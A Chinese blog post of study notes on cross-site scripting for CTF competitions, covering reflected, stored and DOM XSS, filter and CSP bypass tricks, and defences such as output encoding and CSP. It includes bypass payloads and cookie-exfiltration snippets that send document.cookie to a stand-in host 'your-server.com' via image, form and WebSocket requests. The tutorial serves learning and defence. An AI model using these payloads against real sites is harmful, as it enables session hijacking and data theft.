首页
/
行业洞察
/
正文
INDUSTRY INSIGHT · 深度
CTF中的XSS攻防实战:从原理到绕过技巧全解析
📅 2026/10/15 4:58:29
✍️ 爱科研究院
👁 阅读 3,247
1. 为什么XSS至今仍是Web安全的核心战场翻到《CTF特训营》Web部分关于跨站脚本攻击的章节时我第一反应是这玩意儿都二十多年了怎么还在CTF里反复出现但仔细想想XSS能稳坐OWASP Top 10这么多年不是没有道理的。它的本质太简单了——服务端把用户输入当代码执行了但它的变种又太丰富从反射型到存储型再到DOM型从普通弹窗到绕过各种WAF每一次CTF比赛里XSS题目都能玩出新花样。这篇笔记是我在读这本书XSS章节时的完整梳理结合了我自己在CTF比赛中打XSS题目的实战经验。我会从最基础的原理讲起一直讲到CTF中常见的XSS考点和绕过技巧。适合已经了解Web基础、想系统掌握XSS攻防的读者也适合正在准备CTF比赛、想快速上手XSS题目的选手。如果你连HTML和JavaScript都没写过建议先补一下基础再来不然有些绕过技巧你会看得云里雾里。XSS的核心就一句话你的输入被浏览器当成了代码执行。听起来简单但真正理解这句话需要搞清楚三个问题——输入从哪来、怎么被输出到页面、浏览器在什么上下文中执行它。这三个问题决定了你用什么payload、能不能弹窗、能不能拿到flag。下面我按书里的脉络加上我自己的理解把XSS这块彻底拆开讲。2. XSS的三种类型与核心原理拆解2.1 反射型XSS一次性弹窗的经典套路反射型XSS是最容易理解的一种。你发一个链接给受害者链接里带了恶意参数服务端把这个参数原封不动地吐回页面浏览器执行了它。整个过程就像回声一样你喊什么它回什么所以叫反射型。书里给了一个最经典的例子搜索框。假设有个搜索页面是search.php?q关键词页面会把关键词显示在“您搜索的是关键词”这个位置。如果你把关键词换成scriptalert(1)/script页面就变成了“您搜索的是 ”浏览器一解析弹窗就出来了。但这里有个关键点很多人一开始会忽略反射型XSS需要诱导受害者点击链接。它不像存储型那样自动触发所以CTF题目里如果考反射型通常会给你一个“管理员会访问你提交的链接”这样的场景。你需要构造一个URL让管理员访问后触发XSS然后通过XSS去读取管理员的cookie或者执行其他操作。我在实战中踩过的一个坑是有些题目会对URL参数做一次URL编码你直接传script会被编码成%3Cscript%3E服务端解码后输出到页面时又变成了script这时候浏览器还是会执行。但有些题目会做两次编码或者过滤你就需要根据具体情况调整payload的编码方式。这个后面讲绕过的时候会详细说。2.2 存储型XSS一次注入长期有效存储型XSS比反射型更危险因为恶意代码被存到了服务端的数据库里。比如留言板、评论区、用户昵称这些地方你提交的内容会被保存下来其他用户访问页面时就会自动执行。书里强调了一个点存储型XSS的触发不需要受害者点击特定链接只要访问包含恶意内容的页面就会中招。这意味着攻击面更大而且隐蔽性更强。在CTF里存储型XSS通常出现在“留言给管理员”这类场景中你提交一段恶意脚本管理员查看留言时就会触发。我印象比较深的一道CTF题是这样的一个博客系统用户可以提交评论管理员会定期查看所有评论。评论内容会被过滤掉script标签但没过滤img标签的onerror事件。我提交了img srcx onerroralert(1)管理员查看评论时弹窗然后我用这个XSS去读取管理员的cookie最终拿到了flag。这道题的关键在于过滤不完全是存储型XSS最常见的突破口。2.3 DOM型XSS不经过服务端的客户端漏洞DOM型XSS和前两种有个本质区别恶意代码的执行完全发生在浏览器端服务端可能根本不知道发生了什么。它的原理是JavaScript从URL、localStorage或者其他客户端存储中读取数据然后直接插入到DOM中没有做任何转义。书里举了一个典型的例子var name location.hash.substring(1); document.getElementById(greeting).innerHTML Hello, name;如果你访问page.html#img srcx onerroralert(1)location.hash拿到#后面的内容直接通过innerHTML插入页面浏览器就会执行onerror里的代码。整个过程服务端没有参与所以传统的服务端过滤对DOM型XSS完全无效。DOM型XSS在CTF里经常和前端框架结合出现比如AngularJS的模板注入、Vue的模板编译等。这类题目的难点在于你需要理解JavaScript的DOM操作API知道哪些API是危险的比如innerHTML、document.write、eval哪些是安全的比如textContent、innerText。我在打CTF时遇到过一个AngularJS的题目payload是{{constructor.constructor(alert(1))()}}利用的是AngularJS的表达式沙箱逃逸。这种题目如果没接触过前端框架基本无从下手。3. CTF中XSS题目的常见考点与绕过技巧3.1 过滤绕过从黑名单到白名单的博弈CTF里的XSS题目十有八九会加过滤。过滤的方式五花八门但核心思路就两种黑名单禁止某些字符或标签和白名单只允许某些字符或标签。黑名单更容易被绕过白名单相对安全但实现起来复杂。书里总结了几种常见的黑名单绕过方式我结合自己的经验补充一下大小写绕过如果过滤规则是匹配script你可以用Script或者SCRIPT。浏览器对标签名大小写不敏感但过滤规则如果没做大小写转换就会漏掉。双写绕过如果过滤规则是把script替换成空字符串你可以写scrscriptipt替换一次后变成script。这个技巧在CTF里非常常见我至少遇到过五六道题是这么考的。编码绕过HTML实体编码、URL编码、JavaScript编码都可以用来绕过过滤。比如script可以写成#60;script#62;浏览器解析时会还原成script。但要注意编码后的内容如果被插入到HTML属性中可能需要不同的编码方式。标签替换如果script被过滤了可以用img srcx onerroralert(1)、svg onloadalert(1)、body onloadalert(1)等。书里列了一个很全的XSS payload速查表我建议自己整理一份比赛时直接翻。属性绕过如果onerror被过滤了可以试试onload、onfocus、onmouseover等。如果所有on开头的事件都被过滤了可以试试a hrefjavascript:alert(1)或者iframe srcjavascript:alert(1)。我在实战中总结了一个经验先判断过滤发生在哪个环节。是输入时过滤、输出时过滤还是两者都有是服务端过滤还是客户端过滤判断清楚之后再针对性地构造payload。比如如果过滤发生在输出时而且是把和转义了那你基本没戏但如果只是把script替换成空那绕过方式就很多。3.2 CSP绕过当页面加了安全策略CSP内容安全策略是防御XSS的重要手段它通过HTTP头告诉浏览器只允许加载哪些来源的脚本。CTF里如果题目加了CSP你就不能直接执行内联脚本了需要想办法绕过。书里提到了几种CSP绕过的思路利用允许的域如果CSP允许某个CDN域你可以看看那个域上有没有能上传文件的地方或者有没有JSONP接口可以调用。比如CSP允许https://cdn.example.com而这个域上有个jsonp.html可以回调任意函数你就可以用script srchttps://cdn.example.com/jsonp.html?callbackalert(1)/script来执行代码。利用unsafe-inline如果CSP里包含了unsafe-inline那内联脚本还是可以执行的只是可能限制了其他来源。这种情况下直接写scriptalert(1)/script就行。利用nonce或hash如果CSP用了nonce你需要找到页面中带有正确nonce的脚本标签然后想办法注入到那个标签里。如果用了hash你需要找到哈希值对应的脚本内容然后构造相同的哈希。这两种方式在CTF里比较少见因为实现起来复杂但一旦出现就是难题。我打过一道CSP绕过的题目CSP设置是script-src self https://cdn.example.com页面里有一个script src/js/main.js/script。我通过XSS注入了一个script src/js/main.js/script但这样只是重复加载了原有脚本没有执行我的代码。后来我发现/js/main.js里有一个eval函数它从URL参数中读取内容并执行。于是我构造了script src/js/main.js?codealert(1)/script成功绕过了CSP。这个题目的关键点是CSP只限制了脚本的来源但没有限制脚本的行为。3.3 XSS平台与数据外带在CTF里XSS题目通常不是让你弹个窗就完事而是要通过XSS获取管理员的cookie、token或者其他敏感信息。这时候就需要一个XSS平台来接收数据。书里介绍了几种数据外带的方式通过URL外带scriptnew Image().srchttp://your-server.com/?cdocument.cookie/script。这种方式最简单但受限于URL长度而且如果cookie里有特殊字符可能会出问题。通过表单外带form actionhttp://your-server.com methodPOSTinput namec valuedocument.cookie/formscriptdocument.forms[0].submit()/script。这种方式可以传输更多数据但需要页面允许表单提交。通过WebSocket外带如果页面允许WebSocket连接可以用scriptvar wsnew WebSocket(ws://your-server.com);ws.onopenfunction(){ws.send(document.cookie)}/script。这种方式实时性更好但需要服务端支持WebSocket。我在实战中一般用第一种方式因为最简单最可靠。但要注意有些题目会限制外带的目标地址比如只允许访问内网地址。这时候你需要先通过XSS读取内网的其他服务然后再想办法把数据带出来。这种题目通常涉及SSRF和XSS的组合难度较高。4. XSS防御的核心思路与常见误区4.1 输出编码最根本的防御手段书里反复强调一个观点XSS的本质是输出问题不是输入问题。你在输入时做再多过滤如果输出时没有正确编码XSS依然会发生。所以最根本的防御手段是输出编码。输出编码的原则很简单根据输出位置选择编码方式。如果输出到HTML标签之间用HTML实体编码如果输出到HTML属性中用属性编码如果输出到JavaScript中用JavaScript编码如果输出到URL中用URL编码。我见过很多开发者犯的一个错误是在输入时把和转义了就觉得万事大吉了。但如果输出位置是a href用户输入你转义了和也没用因为攻击者可以用javascript:alert(1)作为URL。正确的做法是在输出时根据上下文进行编码而不是在输入时做统一的过滤。4.2 内容安全策略最后一道防线CSP不能防止XSS的发生但可以限制XSS的后果。一个配置良好的CSP可以让攻击者即使注入了脚本也无法执行或者无法外带数据。书里建议的CSP配置是Content-Security-Policy: default-src self; script-src self; object-src none; base-uri self; require-trusted-types-for script这个配置的含义是只允许加载同源的资源禁止加载插件禁止修改base标签要求使用Trusted Types。Trusted Types是较新的防御手段它要求所有动态插入的HTML都必须经过安全策略处理从根本上防止DOM型XSS。但CSP的部署有个现实问题很多老系统用了大量的内联脚本和第三方脚本直接上严格CSP会导致页面崩溃。所以实际部署时通常需要逐步收紧先报告模式观察一段时间再逐步启用限制。4.3 常见误区过滤了script就安全了吗这是我最想强调的一点。很多初学者觉得把script过滤掉就安全了但实际上XSS的payload远不止这一种。img srcx onerroralert(1)、svg onloadalert(1)、body onloadalert(1)、input autofocus onfocusalert(1)甚至a hrefjavascript:alert(1)都可以触发XSS。书里列了一个很全的XSS payload列表我建议每个学XSS的人都自己整理一份。我在实战中常用的几个payload是img srcx onerroralert(1) svg onloadalert(1) body onloadalert(1) input autofocus onfocusalert(1) details open ontogglealert(1) marquee onstartalert(1)这些payload在不同的场景下有不同的效果。比如如果img被过滤了可以试试svg如果onerror被过滤了可以试试onload如果所有事件都被过滤了可以试试a hrefjavascript:alert(1)。关键是要灵活不要死记硬背。5. 我的XSS实战经验与避坑指南5.1 先判断上下文再构造payload这是我踩过最多坑的地方。刚开始学XSS时我拿到一个题目就直接上scriptalert(1)/script结果发现被过滤了然后就开始瞎试各种payload浪费了大量时间。后来我总结了一个流程先判断输出上下文再选择payload。判断上下文的方法很简单在输入点输入一个特殊字符串比如x然后查看页面源代码看看这个字符串出现在哪里。如果出现在HTML标签之间就用标签型payload如果出现在HTML属性中就用属性闭合型payload如果出现在JavaScript代码中就用JavaScript字符串闭合型payload。举个例子如果输出是input value你的输入你需要先闭合value属性再闭合input标签然后注入脚本。payload可以是scriptalert(1)/script。如果输出是scriptvar name你的输入;/script你需要闭合字符串和分号然后注入代码。payload可以是;alert(1);//。这个流程看起来简单但实际操作时很容易忽略。我建议每次拿到XSS题目先花两分钟做这个判断后面会省很多时间。5.2 善用浏览器开发者工具浏览器开发者工具是打XSS题目的利器。我常用的功能有Elements面板查看页面源代码判断输出上下文。注意要看的是渲染后的DOM不是查看源代码的原始HTML因为JavaScript可能会修改DOM。Console面板测试payload。你可以直接在Console里输入document.cookie看看能不能拿到cookie或者输入alert(1)看看弹窗是否被拦截。Network面板查看请求和响应判断过滤发生在哪个环节。如果请求里带了payload响应里payload被修改了说明过滤发生在服务端如果请求和响应里payload都没变但页面执行了说明过滤发生在客户端。Sources面板查看JavaScript代码寻找DOM型XSS的漏洞点。我通常会搜索innerHTML、document.write、eval这些危险函数看看有没有可控的输入。5.3 常见问题速查表问题可能原因解决方法弹窗不出现payload被过滤查看页面源代码确认payload是否被修改弹窗不出现上下文不对用x测试输出位置调整payload弹窗不出现CSP拦截查看Console的报错信息确认CSP策略弹窗出现但拿不到cookiecookie设置了HttpOnly尝试通过XSS执行其他操作比如读取页面内容弹窗出现但无法外带数据网络限制尝试通过DNS外带或者利用页面内的其他服务存储型XSS不触发管理员不查看确认题目是否真的会触发管理员访问DOM型XSS不触发输入点不对检查URL参数、hash、localStorage等客户端存储这个表格是我在实战中总结的基本上覆盖了XSS题目中80%的问题。遇到问题时先查表能省不少时间。5.4 一个让我印象深刻的CTF题目最后分享一道我打过的CTF题目它综合了存储型XSS、CSP绕过和数据外带三个考点。题目是一个留言板用户可以提交留言管理员会查看所有留言。留言内容会被过滤掉script和on开头的事件CSP设置为script-src self。我首先尝试了img srcx onerroralert(1)但onerror被过滤了。然后我尝试了svg onloadalert(1)onload也被过滤了。接着我尝试了a hrefjavascript:alert(1)但CSP阻止了javascript:协议的执行。后来我发现页面加载了一个/js/app.js文件里面有一个函数loadContent(url)它会用fetch请求URL并把结果插入到页面中。这个函数没有对URL做任何限制而且fetch请求不受CSP的script-src限制。于是我构造了a href# onclickloadContent(/api/flag)click/a但onclick也被过滤了。最后我用了a hrefjavascript:loadContent(/api/flag)click/a虽然CSP阻止了javascript:协议但loadContent函数本身是页面内的函数CSP允许执行。管理员点击链接后loadContent请求了/api/flag把flag内容插入到了页面中。然后我通过XSS把flag内容外带到了我的服务器。这道题让我深刻理解了一个道理CSP不是万能的它只能限制脚本的来源不能限制脚本的行为。如果页面内有危险的函数即使CSP配置得再严格攻击者依然可以利用这些函数来执行恶意操作。6. 从CTF到真实场景XSS的实战价值6.1 CTF中的XSS与真实漏洞的区别CTF里的XSS题目通常是为了考察某个特定的知识点比如过滤绕过、CSP绕过、DOM型XSS等。题目环境相对简单目标明确就是弹窗或者拿flag。但真实场景中的XSS漏洞要复杂得多。真实场景中的XSS通常出现在复杂的业务逻辑中比如用户注册、订单提交、消息通知等。攻击者需要先找到输入点然后判断输出上下文再构造payload最后还要考虑如何绕过WAF、如何外带数据、如何维持权限。整个过程比CTF题目复杂得多。但CTF训练的价值在于它让你在短时间内接触大量的XSS变种和绕过技巧。这些技巧在真实场景中可能不会全部用到但它们能帮你建立一种思维方式——遇到过滤时知道从哪里入手遇到CSP时知道怎么绕过遇到DOM型XSS时知道怎么分析JavaScript代码。6.2 我个人的学习建议如果你正在学XSS我建议你按这个顺序来先理解原理搞清楚反射型、存储型、DOM型的区别理解输出编码的重要性。再练基础payload把常见的XSS payload都试一遍知道每个payload的适用场景。然后学绕过找一些有过滤的题目练习大小写绕过、双写绕过、编码绕过等技巧。最后打CTF在CTF比赛中实战遇到不会的题目就查资料、看Writeup积累经验。我自己的经验是XSS的学习曲线是先陡后缓。刚开始学的时候各种payload和绕过技巧让人眼花缭乱但打了几十道题目之后你会发现大部分题目的套路都是相似的。真正难的是那些结合了业务逻辑、前端框架、CSP等复杂因素的题目这些题目需要你有更广泛的知识储备。6.3 一个实用的XSS检查清单最后分享一个我在实战中用的XSS检查清单每次拿到题目或者做渗透测试时都会过一遍输入点在哪里GET参数、POST参数、HTTP头、Cookie、localStorage输出点在哪里HTML标签之间、HTML属性中、JavaScript代码中、CSS中过滤规则是什么黑名单还是白名单过滤发生在输入时还是输出时有没有CSPCSP的策略是什么有没有unsafe-inline有没有允许的域有没有DOM型XSS页面加载了哪些JavaScript文件有没有危险的DOM操作数据怎么外带有没有网络限制能不能用DNS外带触发条件是什么需要管理员访问吗需要特定用户操作吗这个清单看起来简单但能帮你系统地分析一个XSS漏洞避免遗漏关键点。我在打CTF时经常因为漏掉某个点而卡住后来养成习惯后效率明显提高了。XSS这块内容在《CTF特训营》里占了不小的篇幅书里的讲解很系统但有些地方偏理论。我在这篇笔记里补充了很多实战经验和踩坑记录希望能帮你少走一些弯路。如果你也在学XSS欢迎交流你的经验和技巧。
📌 标签:
工业官网
设计趋势
AI 建站
SEO
获取完整报告 →
RELATED ARTICLES
推荐阅读
2026/10/15 4:58:29
MySQL命令实战指南:从连接管理到索引优化的高频运维技巧
2026/10/15 4:58:29
数据仓库工程师实战面试题:DDL变更、SCD Type2与增量同步避坑指南
2026/10/15 4:58:29
Python实现微电网日前经济调度:储能与需求响应建模全解析
2026/10/15 5:58:36
2026年IT就业市场分化:大模型应用开发成高薪赛道,供需剪刀差决定薪资
2026/10/15 5:58:36
从零到一:技术博客的标题、正文、关键词与摘要写作指南
2026/10/15 5:58:36
Vue+Python实现社区停车管理系统:从车位状态到并发控制
2026/10/15 5:58:36
Python手写数值积分:复化梯形、辛普森与龙贝格算法原理与避坑指南
2026/10/15 5:58:36
论文写作辅助工具实测:从选题到答辩的九类工具选型指南
2026/10/15 5:53:36
EMC/EMI/EMS 指什么
2026/10/15 0:02:59
AI Coding时代的柔性之美:从静态软件到自演化软件,软件研发正在重新进化
2026/10/15 0:02:59
亨得利客户服务中心官方网点分布一览:2026年全国多城门店地址与最新联系电话公布
2026/10/15 0:02:59
防关联浏览器哪个好?三款产品实测差异解析
2026/10/13 12:25:09
流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南
2026/10/14 18:35:19
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别
2026/10/14 14:52:59
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容
2026/10/15 1:07:55
我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
2026/10/15 5:07:59
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026/10/11 23:43:10
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)